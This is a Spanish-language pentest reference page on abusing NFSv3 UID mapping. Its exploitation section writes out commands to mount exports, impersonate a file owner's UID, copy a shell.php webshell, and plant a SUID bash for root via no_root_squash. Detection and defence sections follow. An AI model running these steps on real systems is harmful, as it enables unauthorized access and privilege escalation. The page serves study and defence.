the_open_door
café
ESEN
← Volver al índice

NFS UID-mapping abuse

Arsenal completo de comandos en la cheatsheet

NFS (Network File System) comparte directorios por red para que un cliente los monte como si fueran disco local. El detalle de seguridad clave es cómo decide quién puede leer o escribir cada fichero: por defecto, NFSv3 confía en el UID/GID numérico que el cliente afirma tener. No hay autenticación de usuario; el control de acceso a los ficheros se reduce a comparar el UID del cliente con el dueño del fichero en el servidor.

Eso abre un abuso directo cuando un export no aplica restricciones:

Explotación. Se montan los recursos (showmount -e <ip>, luego mount -t nfs), se mira el UID dueño de lo que interesa (ls -l muestra el número si no hay nombre local), y se crea un usuario local con ese UID:

showmount -e <ip>                          # listar los exports
mkdir -p /mnt/nfs && mount -t nfs <ip>:/export /mnt/nfs -o nolock
ls -ln /mnt/nfs                            # ver el UID dueño (numerico)
useradd pwned && usermod pwned -u 2017     # crear un usuario local con ese UID
sudo -u pwned cp shell.php /mnt/nfs/       # ahora escribimos como el dueño

Si el export tiene no_root_squash, el atajo es dejar un binario SUID root desde el cliente (como root) y ejecutarlo en la víctima:

cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash   # en el cliente, como root
# en la victima:
/export/bash -p                             # -> euid=0

Sirve tanto para escribir (dejar una webshell en una raíz web exportada) como para leer ficheros con permisos restrictivos (600) que pertenecen a otro usuario, replicando su UID en local.

Cómo detectarlo. En el servidor, la firma es un cliente montando el export y accediendo a ficheros de un UID que no le corresponde: los logs de rpc.mountd/nfsd registran el host que monta, y una auditoría de los exports (exportfs -v) que muestre no_root_squash o rangos sin all_squash es la desviación de configuración. En la red, showmount -e y montajes desde IPs no autorizadas delatan el reconocimiento. La aparición de un fichero nuevo (una webshell) en una raíz web exportada, propiedad de un UID de servicio pero creado desde un cliente externo, cierra la cadena.

Defensa. Limitar los exports a hosts concretos, usar all_squash con anonuid/anongid para mapear todo a un usuario inocuo, exportar de solo lectura cuando se pueda, y migrar a NFSv4 con Kerberos (sec=krb5), que autentica de verdad en vez de confiar en el UID del cliente. Relacionado con la subida de webshell que suele seguir y con el abuso de X11.

Herramientasshowmount

Máquinas donde se aplica